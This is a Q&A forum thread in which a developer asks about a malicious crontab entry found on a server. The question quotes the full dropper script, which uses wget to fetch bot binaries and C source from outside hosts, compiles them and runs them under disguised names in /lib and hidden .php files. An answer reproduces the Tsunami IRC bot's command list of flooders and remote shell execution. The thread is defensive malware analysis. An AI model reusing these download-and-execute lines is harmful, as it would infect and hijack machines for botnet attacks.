Is SecureShellz bot a virus? How does it work?

Question

I'm using a development server in which I found this in the crontab:

[...]
* * * * * /dev/shm/tmp/.rnd >/dev/null 2>&1
@weekly wget http://stablehost.us/bots/regular.bot -O /dev/shm/tmp/.rnd;chmod +x /dev/shm/tmp/.rnd;/dev/shm/tmp/.rnd
[...]

http://stablehost.us/bots/regular.bot contents are:

#!/bin/sh

 if [ $(whoami) = "root" ]; then

    echo y|yum install perl-libwww-perl perl-IO-Socket-SSL openssl-devel zlib1g-dev gcc make
    echo y|apt-get install libwww-perl apt-get install libio-socket-ssl-perl openssl-devel zlib1g-dev gcc make

    pkg_add -r wget;pkg_add -r perl;pkg_add -r gcc

    wget -q http://linksys.secureshellz.net/bots/a.c -O a.c;gcc -o a a.c;mv a /lib/xpath.so;chmod +x /lib/xpath.so;/lib/xpath.so;rm -rf a.c
    wget -q http://linksys.secureshellz.net/bots/b -O /lib/xpath.so.1;chmod +x /lib/xpath.so.1;/lib/xpath.so.1
    wget -q http://linksys.secureshellz.net/bots/a -O /lib/xpath.so.2;chmod +x /lib/xpath.so.2;/lib/xpath.so.2  
    exit 1
 fi


 wget -q http://linksys.secureshellz.net/bots/a.c -O a.c;gcc -o .php a.c;rm -rf a.c;chmod +x .php; ./.php
 wget -q http://linksys.secureshellz.net/bots/a -O .phpa;chmod +x .phpa; ./.phpa
 wget -q http://linksys.secureshellz.net/bots/b -O .php_ ;chmod +x .php_;./.php_

I cannot contact the sysadmin for various reasons, so I cannot ask infos about this to him.

It seems to me this script downloads some remote C source codes and binaries, compile them and execute them.

I am a web developer, so I am not an expert about C language, but watching at the downloaded files it seems to me a bot injected in the cron of the server.

Can you give me more infos about what this code does? About its working, its purposes?

UPDATE: So we know, sadly, that it is a malware... I'm wondering: how does it work? can you give me details about this?

Answer 1

Send a mail to your sysadmin (you HAVE TO contact someone above you) or send it directly to the CIO, if you have to convince him, explain what you found and attach this part of the file named "a.c", that should suffice:

* There are a number of commands that can be sent to the client:              *
*       TSUNAMI <target> <secs>       = A PUSH+ACK flooder                    *
*       PAN <target> <port> <secs>    = A SYN flooder                         *
*       UDP <target> <port> <secs>    = An UDP flooder                        *
*       UNKNOWN <target> <secs>       = Another non-spoof udp flooder         *
*       NICK <nick>                   = Changes the nick of the client        *
*       SERVER <server>               = Changes servers                       *
*       GETSPOOFS                     = Gets the current spoofing             *
*       SPOOFS <subnet>               = Changes spoofing to a subnet          *
*       DISABLE                       = Disables all packeting from this bot  *
*       ENABLE                        = Enables all packeting from this bot   *
*       KILL                          = Kills the knight                      *
*       GET <http address> <save as>  = Downloads a file off the web          *
*       VERSION                       = Requests version of knight            *
*       KILLALL                       = Kills all current packeting           *
*       HELP                          = Displays this                         *
*       IRC <command>                 = Sends this command to the server      *
*       SH <command>                  = Executes a command                    *
* Remember, all these commands must be prefixed by a ! and the nickname that  *
* you want the command to be sent to (can include wildcards). There are no    *
* spaces in between the ! and the nickname, and there are no spaces before    *
* the !                                                                       *
*                                                                             *
*                               - contem on efnet                             *

Here are a few references to this particular backdoor:
- http://www.f-secure.com/v-descs/backdoor_osx_tsunami_a.shtml
- http://blog.eset.com/2011/10/25/linux-tsunami-hits-os-x

I can't find any reverse engineering of this malware, sorry.

Answer 2

I'm wondering: how does it work? can you give me details about this?

It compiles a c file with a permission. It also downloads a .php and .phpa files that likely serve as a way to access your server.

You should figure out what the compile application does by getting the source file for the C file.

It also installs Perl if its not already installed, and the user is Root, of course if that is true it means you have a bad configuration.

I am a web developer, so I am not an expert about C language, but watching at the downloaded files it seems to me a bot injected in the cron of the server.

So look at the .php and .phpa files, you should be able to answer these questions yourself, if you know your stuff.

The output of the .c file is a .php file....Just look at the source?